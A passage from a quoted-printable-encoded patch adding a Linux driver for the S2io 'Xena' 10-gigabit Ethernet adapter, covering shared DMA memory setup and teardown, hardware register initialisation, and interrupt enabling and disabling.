config->RxCfg[i].NumRxd - nic->block_count[i];=0A= + }=0A= + size =3D (size * (sizeof(RxD_t)));=0A= + mac_control->rxd_ring_mem_sz =3D size;=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + mac_control->rx_curr_get_info[i].block_index =3D 0;=0A= + mac_control->rx_curr_get_info[i].offset =3D 0;=0A= + mac_control->rx_curr_get_info[i].ring_len =3D=0A= + config->RxCfg[i].NumRxd - 1;=0A= + mac_control->rx_curr_put_info[i].block_index =3D 0;=0A= + mac_control->rx_curr_put_info[i].offset =3D 0;=0A= + mac_control->rx_curr_put_info[i].ring_len =3D=0A= + config->RxCfg[i].NumRxd - 1;=0A= + blk_cnt =3D=0A= + config->RxCfg[i].NumRxd / (MAX_RXDS_PER_BLOCK + 1);=0A= + /* Allocating all the Rx blocks */=0A= + for (j =3D 0; j < blk_cnt; j++) {=0A= + size =3D (MAX_RXDS_PER_BLOCK + 1) * (sizeof(RxD_t));=0A= + tmp_v_addr =3D pci_alloc_consistent(nic->pdev, size,=0A= + &tmp_p_addr);=0A= + if (tmp_v_addr =3D=3D NULL) {=0A= + /* In case of failure, freeSharedMem() =0A= + * is called, which should free any =0A= + * memory that was alloced till the =0A= + * failure happened.=0A= + */=0A= + nic->rx_blocks[i][j].block_virt_addr =3D=0A= + tmp_v_addr;=0A= + return -ENOMEM;=0A= + }=0A= + memset(tmp_v_addr, 0, size);=0A= + nic->rx_blocks[i][j].block_virt_addr =3D tmp_v_addr;=0A= + nic->rx_blocks[i][j].block_dma_addr =3D tmp_p_addr;=0A= + }=0A= + /* Interlinking all Rx Blocks */=0A= + for (j =3D 0; j < blk_cnt; j++) {=0A= + tmp_v_addr =3D nic->rx_blocks[i][j].block_virt_addr;=0A= + tmp_v_addr_next =3D=0A= + nic->rx_blocks[i][(j + 1) %=0A= + blk_cnt].block_virt_addr;=0A= + tmp_p_addr =3D nic->rx_blocks[i][j].block_dma_addr;=0A= + tmp_p_addr_next =3D=0A= + nic->rx_blocks[i][(j + 1) %=0A= + blk_cnt].block_dma_addr;=0A= +=0A= + pre_rxd_blk =3D (RxD_block_t *) tmp_v_addr;=0A= + pre_rxd_blk->reserved_1 =3D END_OF_BLOCK; /* last RxD =0A= + * marker.=0A= + */=0A= + pre_rxd_blk->reserved_2_pNext_RxD_block =3D=0A= + (unsigned long) tmp_v_addr_next;=0A= + pre_rxd_blk->pNext_RxD_Blk_physical =3D=0A= + (u64) tmp_p_addr_next;=0A= + }=0A= + }=0A= +=0A= + /* Allocation and initialization of Statistics block */=0A= + size =3D sizeof(StatInfo_t);=0A= + mac_control->stats_mem =3D pci_alloc_consistent=0A= + (nic->pdev, size, &mac_control->stats_mem_phy);=0A= +=0A= + if (!mac_control->stats_mem) {=0A= + /* In case of failure, freeSharedMem() is called, which =0A= + * should free any memory that was alloced till the =0A= + * failure happened.=0A= + */=0A= + return -ENOMEM;=0A= + }=0A= + mac_control->stats_mem_sz =3D size;=0A= +=0A= + tmp_v_addr =3D mac_control->stats_mem;=0A= + mac_control->StatsInfo =3D (StatInfo_t *) tmp_v_addr;=0A= + memset(tmp_v_addr, 0, size);=0A= +=0A= + DBG_PRINT(INIT_DBG, "%s:Ring Mem PHY: 0x%llx\n", dev->name,=0A= + (unsigned long long) tmp_p_addr);=0A= +=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * Device peivate variable.=0A= + * Return Value: =0A= + * NONE=0A= + * Description: =0A= + * This function is to free all memory locations allocated by=0A= + * the initSharedMem() function and return it to the kernel.=0A= + */=0A= +static void freeSharedMem(struct s2io_nic *nic)=0A= +{=0A= + int i, j, blk_cnt, size;=0A= + void *tmp_v_addr;=0A= + dma_addr_t tmp_p_addr;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= +=0A= + if (!nic)=0A= + return;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= + if (mac_control->txd_list_mem) {=0A= + pci_free_consistent(nic->pdev,=0A= + mac_control->txd_list_mem_sz,=0A= + mac_control->txd_list_mem,=0A= + mac_control->txd_list_mem_phy);=0A= + }=0A= +=0A= + size =3D (MAX_RXDS_PER_BLOCK + 1) * (sizeof(RxD_t));=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + blk_cnt =3D nic->block_count[i];=0A= + for (j =3D 0; j < blk_cnt; j++) {=0A= + tmp_v_addr =3D nic->rx_blocks[i][j].block_virt_addr;=0A= + tmp_p_addr =3D nic->rx_blocks[i][j].block_dma_addr;=0A= + if (tmp_v_addr =3D=3D NULL)=0A= + break;=0A= + pci_free_consistent(nic->pdev, size,=0A= + tmp_v_addr, tmp_p_addr);=0A= + }=0A= + }=0A= +=0A= + if (mac_control->stats_mem) {=0A= + pci_free_consistent(nic->pdev,=0A= + mac_control->stats_mem_sz,=0A= + mac_control->stats_mem,=0A= + mac_control->stats_mem_phy);=0A= + }=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * device peivate variable=0A= + * Return Value: =0A= + * SUCCESS on success and '-1' on failure (endian settings incorrect).=0A= + * Description: =0A= + * The function sequentially configures every block =0A= + * of the H/W from their reset values. =0A= + */=0A= +static int initNic(struct s2io_nic *nic)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + struct net_device *dev =3D nic->dev;=0A= + register u64 val64 =3D 0;=0A= + void *add;=0A= + u32 time;=0A= + int i, j;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + int mdio_cnt =3D 0, dtx_cnt =3D 0;=0A= + unsigned long long print_var, mem_share;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= + /* Set proper endian settings and verify the same by =0A= + * reading the PIF Feed-back register.=0A= + */=0A= +#ifdef __BIG_ENDIAN=0A= + /* The device by default set to a big endian format, so =0A= + * a big endian driver need not set anything.=0A= + */=0A= + writeq(0xffffffffffffffffULL, &bar0->swapper_ctrl);=0A= + val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= + SWAPPER_CTRL_PIF_R_SE |=0A= + SWAPPER_CTRL_PIF_W_FE |=0A= + SWAPPER_CTRL_PIF_W_SE |=0A= + SWAPPER_CTRL_TXP_FE |=0A= + SWAPPER_CTRL_TXP_SE |=0A= + SWAPPER_CTRL_TXD_R_FE |=0A= + SWAPPER_CTRL_TXD_W_FE |=0A= + SWAPPER_CTRL_TXF_R_FE |=0A= + SWAPPER_CTRL_RXD_R_FE |=0A= + SWAPPER_CTRL_RXD_W_FE |=0A= + SWAPPER_CTRL_RXF_W_FE |=0A= + SWAPPER_CTRL_XMSI_FE |=0A= + SWAPPER_CTRL_XMSI_SE |=0A= + SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= + writeq(val64, &bar0->swapper_ctrl);=0A= +#else=0A= + /* Initially we enable all bits to make it accessible by =0A= + * the driver, then we selectively enable only those bits =0A= + * that we want to set.=0A= + */=0A= + writeq(0xffffffffffffffffULL, &bar0->swapper_ctrl);=0A= + val64 =3D (SWAPPER_CTRL_PIF_R_FE |=0A= + SWAPPER_CTRL_PIF_R_SE |=0A= + SWAPPER_CTRL_PIF_W_FE |=0A= + SWAPPER_CTRL_PIF_W_SE |=0A= + SWAPPER_CTRL_TXP_FE |=0A= + SWAPPER_CTRL_TXP_SE |=0A= + SWAPPER_CTRL_TXD_R_FE |=0A= + SWAPPER_CTRL_TXD_R_SE |=0A= + SWAPPER_CTRL_TXD_W_FE |=0A= + SWAPPER_CTRL_TXD_W_SE |=0A= + SWAPPER_CTRL_TXF_R_FE |=0A= + SWAPPER_CTRL_RXD_R_FE |=0A= + SWAPPER_CTRL_RXD_R_SE |=0A= + SWAPPER_CTRL_RXD_W_FE |=0A= + SWAPPER_CTRL_RXD_W_SE |=0A= + SWAPPER_CTRL_RXF_W_FE |=0A= + SWAPPER_CTRL_XMSI_FE |=0A= + SWAPPER_CTRL_XMSI_SE |=0A= + SWAPPER_CTRL_STATS_FE | SWAPPER_CTRL_STATS_SE);=0A= + writeq(val64, &bar0->swapper_ctrl);=0A= +#endif=0A= +=0A= + /* Verifying if endian settings are accurate by reading =0A= + * a feedback register.=0A= + */=0A= + val64 =3D readq(&bar0->pif_rd_swapper_fb);=0A= + if (val64 !=3D 0x0123456789ABCDEFULL) {=0A= + /* Endian settings are incorrect, calls for another dekko. */=0A= + print_var =3D (unsigned long long) val64;=0A= + DBG_PRINT(INIT_DBG, "%s: Endian settings are wrong",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, ", feedback read %llx\n", print_var);=0A= +=0A= + return FAILURE;=0A= + }=0A= +=0A= + /* Remove XGXS from reset state */=0A= + val64 =3D 0;=0A= + writeq(val64, &bar0->sw_reset);=0A= + val64 =3D readq(&bar0->sw_reset);=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 2);=0A= +=0A= + /* Enable Receiving broadcasts */=0A= + val64 =3D readq(&bar0->mac_cfg);=0A= + val64 |=3D MAC_RMAC_BCAST_ENABLE;=0A= + writeq(RMAC_CFG_KEY(0x4C0D), &bar0->rmac_cfg_key);=0A= + writeq(val64, &bar0->mac_cfg);=0A= +=0A= + /* Read registers in all blocks */=0A= + val64 =3D readq(&bar0->mac_int_mask);=0A= + val64 =3D readq(&bar0->mc_int_mask);=0A= + val64 =3D readq(&bar0->xgxs_int_mask);=0A= +=0A= + /* Set MTU */=0A= + val64 =3D dev->mtu;=0A= + writeq(vBIT(val64, 2, 14), &bar0->rmac_max_pyld_len);=0A= +=0A= + /* Configuring the XAUI Interface of Xena. =0A= + *****************************************=0A= + * To Configure the Xena's XAUI, one has to write a series =0A= + * of 64 bit values into two registers in a particular =0A= + * sequence. Hence a macro 'SWITCH_SIGN' has been defined =0A= + * which will be defined in the array of configuration values =0A= + * (default_dtx_cfg & default_mdio_cfg) at appropriate places =0A= + * to switch writing from one regsiter to another. We continue =0A= + * writing these values until we encounter the 'END_SIGN' macro.=0A= + * For example, After making a series of 21 writes into =0A= + * dtx_control register the 'SWITCH_SIGN' appears and hence we =0A= + * start writing into mdio_control until we encounter END_SIGN.=0A= + */=0A= + while (1) {=0A= + dtx_cfg:=0A= + while (default_dtx_cfg[dtx_cnt] !=3D END_SIGN) {=0A= + if (default_dtx_cfg[dtx_cnt] =3D=3D SWITCH_SIGN) {=0A= + dtx_cnt++;=0A= + goto mdio_cfg;=0A= + }=0A= + writeq(default_dtx_cfg[dtx_cnt],=0A= + &bar0->dtx_control);=0A= + val64 =3D readq(&bar0->dtx_control);=0A= + dtx_cnt++;=0A= + }=0A= + mdio_cfg:=0A= + while (default_mdio_cfg[mdio_cnt] !=3D END_SIGN) {=0A= + if (default_mdio_cfg[mdio_cnt] =3D=3D SWITCH_SIGN) {=0A= + mdio_cnt++;=0A= + goto dtx_cfg;=0A= + }=0A= + writeq(default_mdio_cfg[mdio_cnt],=0A= + &bar0->mdio_control);=0A= + val64 =3D readq(&bar0->mdio_control);=0A= + mdio_cnt++;=0A= + }=0A= + if ((default_dtx_cfg[dtx_cnt] =3D=3D END_SIGN) &&=0A= + (default_mdio_cfg[mdio_cnt] =3D=3D END_SIGN)) {=0A= + break;=0A= + } else {=0A= + goto dtx_cfg;=0A= + }=0A= + }=0A= +=0A= + /* Tx DMA Initialization */=0A= + val64 =3D 0;=0A= + writeq(val64, &bar0->tx_fifo_partition_0);=0A= + writeq(val64, &bar0->tx_fifo_partition_1);=0A= + writeq(val64, &bar0->tx_fifo_partition_2);=0A= + writeq(val64, &bar0->tx_fifo_partition_3);=0A= +=0A= +=0A= + for (i =3D 0, j =3D 0; i < config->TxFIFONum; i++) {=0A= + val64 |=3D=0A= + vBIT(config->TxCfg[i].FifoLen - 1, ((i * 32) + 19),=0A= + 13) | vBIT(config->TxCfg[i].FifoPriority,=0A= + ((i * 32) + 5), 3);=0A= +=0A= + if (i =3D=3D (config->TxFIFONum - 1)) {=0A= + if (i % 2 =3D=3D 0)=0A= + i++;=0A= + }=0A= +=0A= + switch (i) {=0A= + case 1:=0A= + writeq(val64, &bar0->tx_fifo_partition_0);=0A= + val64 =3D 0;=0A= + break;=0A= + case 3:=0A= + writeq(val64, &bar0->tx_fifo_partition_1);=0A= + val64 =3D 0;=0A= + break;=0A= + case 5:=0A= + writeq(val64, &bar0->tx_fifo_partition_2);=0A= + val64 =3D 0;=0A= + break;=0A= + case 7:=0A= + writeq(val64, &bar0->tx_fifo_partition_3);=0A= + break;=0A= + }=0A= + }=0A= +=0A= + /* Enable Tx FIFO partition 0. */=0A= + val64 =3D readq(&bar0->tx_fifo_partition_0);=0A= + val64 |=3D BIT(0); /* To enable the FIFO partition. */=0A= + writeq(val64, &bar0->tx_fifo_partition_0);=0A= +=0A= + val64 =3D readq(&bar0->tx_fifo_partition_0);=0A= + DBG_PRINT(INIT_DBG, "Fifo partition at: 0x%p is: 0x%llx\n",=0A= + &bar0->tx_fifo_partition_0, (unsigned long long) val64);=0A= +=0A= + /* =0A= + * Initialization of Tx_PA_CONFIG register to ignore packet =0A= + * integrity checking.=0A= + */=0A= + val64 =3D readq(&bar0->tx_pa_cfg);=0A= + val64 |=3D TX_PA_CFG_IGNORE_FRM_ERR | TX_PA_CFG_IGNORE_SNAP_OUI |=0A= + TX_PA_CFG_IGNORE_LLC_CTRL | TX_PA_CFG_IGNORE_L2_ERR;=0A= + writeq(val64, &bar0->tx_pa_cfg);=0A= +=0A= + /* Rx DMA intialization. */=0A= + val64 =3D 0;=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + val64 |=3D=0A= + vBIT(config->RxCfg[i].RingPriority, (5 + (i * 8)), 3);=0A= + }=0A= + writeq(val64, &bar0->rx_queue_priority);=0A= +=0A= + /* Allocating equal share of memory to all the configured =0A= + * Rings.=0A= + */=0A= + val64 =3D 0;=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + switch (i) {=0A= + case 0:=0A= + mem_share =3D (64 / config->RxRingNum +=0A= + 64 % config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q0_SZ(mem_share);=0A= + continue;=0A= + case 1:=0A= + mem_share =3D (64 / config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q1_SZ(mem_share);=0A= + continue;=0A= + case 2:=0A= + mem_share =3D (64 / config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q2_SZ(mem_share);=0A= + continue;=0A= + case 3:=0A= + mem_share =3D (64 / config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q3_SZ(mem_share);=0A= + continue;=0A= + case 4:=0A= + mem_share =3D (64 / config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q4_SZ(mem_share);=0A= + continue;=0A= + case 5:=0A= + mem_share =3D (64 / config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q5_SZ(mem_share);=0A= + continue;=0A= + case 6:=0A= + mem_share =3D (64 / config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q6_SZ(mem_share);=0A= + continue;=0A= + case 7:=0A= + mem_share =3D (64 / config->RxRingNum);=0A= + val64 |=3D RX_QUEUE_CFG_Q7_SZ(mem_share);=0A= + continue;=0A= + }=0A= + }=0A= + writeq(val64, &bar0->rx_queue_cfg);=0A= +=0A= + /* Initializing the Tx round robin registers to 0.=0A= + * Filling Tx and Rx round robin registers as per the =0A= + * number of FIFOs and Rings is still TODO.=0A= + */=0A= + writeq(0, &bar0->tx_w_round_robin_0);=0A= + writeq(0, &bar0->tx_w_round_robin_1);=0A= + writeq(0, &bar0->tx_w_round_robin_2);=0A= + writeq(0, &bar0->tx_w_round_robin_3);=0A= + writeq(0, &bar0->tx_w_round_robin_4);=0A= +=0A= + /* Disable Rx steering. Hard coding all packets be steered to=0A= + * Queue 0 for now. =0A= + * TODO*/=0A= + if (rx_prio) {=0A= + u64 def =3D 0x8000000000000000ULL, tmp;=0A= + for (i =3D 0; i < MAX_RX_RINGS; i++) {=0A= + tmp =3D (u64) (def >> (i % config->RxRingNum));=0A= + val64 |=3D (u64) (tmp >> (i * 8));=0A= + }=0A= + writeq(val64, &bar0->rts_qos_steering);=0A= + } else {=0A= + val64 =3D 0x8080808080808080ULL;=0A= + writeq(val64, &bar0->rts_qos_steering);=0A= + }=0A= +=0A= + /* UDP Fix */=0A= + val64 =3D 0;=0A= + for (i =3D 1; i < 8; i++)=0A= + writeq(val64, &bar0->rts_frm_len_n[i]);=0A= +=0A= + /* Set rts_frm_len register for fifo 0 */=0A= + writeq(MAC_RTS_FRM_LEN_SET(dev->mtu + 22),=0A= + &bar0->rts_frm_len_n[0]);=0A= +=0A= + /* Enable statistics */=0A= + writeq(mac_control->stats_mem_phy, &bar0->stat_addr);=0A= + val64 =3D SET_UPDT_PERIOD(8) | STAT_CFG_STAT_RO | STAT_CFG_STAT_EN;=0A= + writeq(val64, &bar0->stat_cfg);=0A= +=0A= + /* Initializing the sampling rate for the device to calculate the=0A= + * bandwidth utilization.=0A= + */=0A= + val64 =3D MAC_TX_LINK_UTIL_VAL(0x5) | MAC_RX_LINK_UTIL_VAL(0x5);=0A= + writeq(val64, &bar0->mac_link_util);=0A= +=0A= +=0A= + /* Initializing the Transmit and Receive Traffic Interrupt =0A= + * Scheme.=0A= + */=0A= + /* TTI Initialization */=0A= + val64 =3D TTI_DATA1_MEM_TX_TIMER_VAL(0xFFF) |=0A= + TTI_DATA1_MEM_TX_URNG_A(0xA) | TTI_DATA1_MEM_TX_URNG_B(0x10) |=0A= + TTI_DATA1_MEM_TX_URNG_C(0x30) | TTI_DATA1_MEM_TX_TIMER_AC_EN;=0A= + writeq(val64, &bar0->tti_data1_mem);=0A= +=0A= + val64 =3D=0A= + TTI_DATA2_MEM_TX_UFC_A(0x10) | TTI_DATA2_MEM_TX_UFC_B(0x20) |=0A= + TTI_DATA2_MEM_TX_UFC_C(0x40) | TTI_DATA2_MEM_TX_UFC_D(0x80);=0A= + writeq(val64, &bar0->tti_data2_mem);=0A= +=0A= + val64 =3D TTI_CMD_MEM_WE | TTI_CMD_MEM_STROBE_NEW_CMD;=0A= + writeq(val64, &bar0->tti_command_mem);=0A= +=0A= + /* Once the operation completes, the Strobe bit of the command=0A= + * register will be reset. We poll for this particular condition=0A= + * We wait for a maximum of 500ms for the operation to complete,=0A= + * if it's not complete by then we return error.=0A= + */=0A= + time =3D 0;=0A= + while (TRUE) {=0A= + val64 =3D readq(&bar0->tti_command_mem);=0A= + if (!(val64 & TTI_CMD_MEM_STROBE_NEW_CMD)) {=0A= + break;=0A= + }=0A= + if (time > 10) {=0A= + DBG_PRINT(ERR_DBG, "%s: TTI init Failed\n",=0A= + dev->name);=0A= + return -1;=0A= + }=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 20);=0A= + time++;=0A= + }=0A= +=0A= + /* RTI Initialization */=0A= + val64 =3D RTI_DATA1_MEM_RX_TIMER_VAL(0xFFF) |=0A= + RTI_DATA1_MEM_RX_URNG_A(0xA) | RTI_DATA1_MEM_RX_URNG_B(0x10) |=0A= + RTI_DATA1_MEM_RX_URNG_C(0x30) | RTI_DATA1_MEM_RX_TIMER_AC_EN;=0A= + writeq(val64, &bar0->rti_data1_mem);=0A= +=0A= + val64 =3D RTI_DATA2_MEM_RX_UFC_A(0x1) | RTI_DATA2_MEM_RX_UFC_B(0x2) |=0A= + RTI_DATA2_MEM_RX_UFC_C(0x40) | RTI_DATA2_MEM_RX_UFC_D(0x80);=0A= + writeq(val64, &bar0->rti_data2_mem);=0A= +=0A= + val64 =3D RTI_CMD_MEM_WE | RTI_CMD_MEM_STROBE_NEW_CMD;=0A= + writeq(val64, &bar0->rti_command_mem);=0A= +=0A= + /* Once the operation completes, the Strobe bit of the command=0A= + * register will be reset. We poll for this particular condition=0A= + * We wait for a maximum of 500ms for the operation to complete,=0A= + * if it's not complete by then we return error.=0A= + */=0A= + time =3D 0;=0A= + while (TRUE) {=0A= + val64 =3D readq(&bar0->rti_command_mem);=0A= + if (!(val64 & TTI_CMD_MEM_STROBE_NEW_CMD)) {=0A= + break;=0A= + }=0A= + if (time > 10) {=0A= + DBG_PRINT(ERR_DBG, "%s: RTI init Failed\n",=0A= + dev->name);=0A= + return -1;=0A= + }=0A= + time++;=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 20);=0A= + }=0A= +=0A= + /* Initializing proper values as Pause threshold into all =0A= + * the 8 Queues on Rx side.=0A= + */=0A= + writeq(0xffbbffbbffbbffbbULL, &bar0->mc_pause_thresh_q0q3);=0A= + writeq(0xffbbffbbffbbffbbULL, &bar0->mc_pause_thresh_q4q7);=0A= +=0A= + /* Disable RMAC PAD STRIPPING */=0A= + add =3D (void *) &bar0->mac_cfg;=0A= + val64 =3D readq(&bar0->mac_cfg);=0A= + val64 &=3D ~(MAC_CFG_RMAC_STRIP_PAD);=0A= + writeq(RMAC_CFG_KEY(0x4C0D), &bar0->rmac_cfg_key);=0A= + writel((u32) (val64), add);=0A= + writeq(RMAC_CFG_KEY(0x4C0D), &bar0->rmac_cfg_key);=0A= + writel((u32) (val64 >> 32), (add + 4));=0A= + val64 =3D readq(&bar0->mac_cfg);=0A= +=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * device private variable,=0A= + * A mask indicating which Intr block must be modified and,=0A= + * A flag indicating whether to enable or disable the Intrs.=0A= + * Return Value: =0A= + * NONE.=0A= + * Description: =0A= + * This function will either disable or enable the interrupts =0A= + * depending on the flag argument. The mask argument can be used to =0A= + * enable/disable any Intr block. =0A= + */=0A= +static void en_dis_able_NicIntrs(struct s2io_nic *nic, u16 mask, int = flag)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + register u64 val64 =3D 0, temp64 =3D 0;=0A= +=0A= + /* Top level interrupt classification */=0A= + /* PIC Interrupts */=0A= + if ((mask & (TX_PIC_INTR | RX_PIC_INTR))) {=0A= + /* Enable PIC Intrs in the general intr mask register */=0A= + val64 =3D TXPIC_INT_M | PIC_RX_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + writeq(temp64, &bar0->general_int_mask);=0A= + /* Disabled all PCIX, Flash, MDIO, IIC and GPIO=0A= + * interrupts for now. =0A= + * TODO */=0A= + writeq(DISABLE_ALL_INTRS, &bar0->pic_int_mask);=0A= + /* No MSI Support is available presently, so TTI and=0A= + * RTI interrupts are also disabled.=0A= + */=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable PIC Intrs in the general intr mask register =0A= + */=0A= + writeq(DISABLE_ALL_INTRS, &bar0->pic_int_mask);=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + writeq(val64, &bar0->general_int_mask);=0A= + }=0A= + }=0A= +=0A= + /* DMA Interrupts */=0A= + /* Enabling/Disabling Tx DMA interrupts */=0A= + if (mask & TX_DMA_INTR) {=0A= + /* Enable TxDMA Intrs in the general intr mask register */=0A= + val64 =3D TXDMA_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + writeq(temp64, &bar0->general_int_mask);=0A= + /* Disable all interrupts other than PFC interrupt in =0A= + * DMA level.=0A= + */=0A= + val64 =3D DISABLE_ALL_INTRS & (~TXDMA_PFC_INT_M);=0A= + writeq(val64, &bar0->txdma_int_mask);=0A= + /* Enable only the MISC error 1 interrupt in PFC block =0A= + */=0A= + val64 =3D DISABLE_ALL_INTRS & (~PFC_MISC_ERR_1);=0A= + writeq(val64, &bar0->pfc_err_mask);=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable TxDMA Intrs in the general intr mask =0A= + * register */=0A= + writeq(DISABLE_ALL_INTRS, &bar0->txdma_int_mask);=0A= + writeq(DISABLE_ALL_INTRS, &bar0->pfc_err_mask);=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + writeq(val64, &bar0->general_int_mask);=0A= + }=0A= + }=0A= +=0A= + /* Enabling/Disabling Rx DMA interrupts */=0A= + if (mask & RX_DMA_INTR) {=0A= + /* Enable RxDMA Intrs in the general intr mask register */=0A= + val64 =3D RXDMA_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + writeq(temp64, &bar0->general_int_mask);=0A= + /* All RxDMA block interrupts are disabled for now =0A= + * TODO */=0A= + writeq(DISABLE_ALL_INTRS, &bar0->rxdma_int_mask);=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable RxDMA Intrs in the general intr mask =0A= + * register */=0A= + writeq(DISABLE_ALL_INTRS, &bar0->rxdma_int_mask);=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + writeq(val64, &bar0->general_int_mask);=0A= + }=0A= + }=0A= +=0A= + /* MAC Interrupts */=0A= + /* Enabling/Disabling MAC interrupts */=0A= + if (mask & (TX_MAC_INTR | RX_MAC_INTR)) {=0A= + val64 =3D TXMAC_INT_M | RXMAC_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + writeq(temp64, &bar0->general_int_mask);=0A= + /* All MAC block error interrupts are disabled for now =0A= + * except the link status change interrupt.=0A= + * TODO*/=0A= + val64 =3D MAC_INT_STATUS_RMAC_INT;=0A= + temp64 =3D readq(&bar0->mac_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + writeq(temp64, &bar0->mac_int_mask);=0A= +=0A= + val64 =3D readq(&bar0->mac_rmac_err_mask);=0A= + val64 &=3D ~((u64) RMAC_LINK_STATE_CHANGE_INT);=0A= + writeq(val64, &bar0->mac_rmac_err_mask);=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable MAC Intrs in the general intr mask register =0A= + */=0A= + writeq(DISABLE_ALL_INTRS, &bar0->mac_int_mask);=0A= + writeq(DISABLE_ALL_INTRS,=0A= + &bar0->mac_rmac_err_mask);=0A= +=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + writeq(val64, &bar0->general_int_mask);=0A= + }=0A= + }=0A= +=0A= + /* XGXS Interrupts */=0A= + if (mask & (TX_XGXS_INTR | RX_XGXS_INTR)) {=0A= + val64 =3D TXXGXS_INT_M | RXXGXS_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + writeq(temp64, &bar0->general_int_mask);=0A= + /* All XGXS block error interrupts are disabled for now=0A= + * TODO */=0A= + writeq(DISABLE_ALL_INTRS, &bar0->xgxs_int_mask);=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable MC Intrs in the general intr mask register =0A= + */=0A= + writeq(DISABLE_ALL_INTRS, &bar0->xgxs_int_mask);=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + writeq(val64, &bar0->general_int_mask);=0A= + }=0A= + }=0A= +=0A= + /* Memory Controller(MC) interrupts */=0A= + if (mask & MC_INTR) {=0A= + val64 =3D MC_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + writeq(temp64, &bar0->general_int_mask);=0A= + /* All MC block error interrupts are disabled for now=0A= + * TODO */=0A= + writeq(DISABLE_ALL_INTRS, &bar0->mc_int_mask);=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable MC Intrs in the general intr mask register=0A= + */=0A= + writeq(DISABLE_ALL_INTRS, &bar0->mc_int_mask);=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + writeq(val64, &bar0->general_int_mask);=0A= + }=0A= + }=0A= +=0A= +=0A= + /* Tx traffic interrupts */=0A= + if (mask & TX_TRAFFIC_INTR) {=0A= + val64 =3D TXTRAFFIC_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + writeq(temp64, &bar0->general_int_mask);=0A= + /* Enable all the Tx side interrupts */=0A= + writeq(0x0, &bar0->tx_traffic_mask); /* '0' Enables =0A= + * all 64 TX =0A= + * interrupt =0A= + * levels.=0A= + */=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable Tx Traffic Intrs in the general intr mask =0A= + * register.=0A= + */=0A= + writeq(DISABLE_ALL_INTRS, &bar0->tx_traffic_mask);=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + writeq(val64, &bar0->general_int_mask);=0A= + }=0A= + }=0A= +=0A= + /* Rx traffic interrupts */=0A= + if (mask & RX_TRAFFIC_INTR) {=0A= + val64 =3D RXTRAFFIC_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D readq(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + writeq(temp64, &bar0->general_int_mask);=0A= + writeq(0x0, 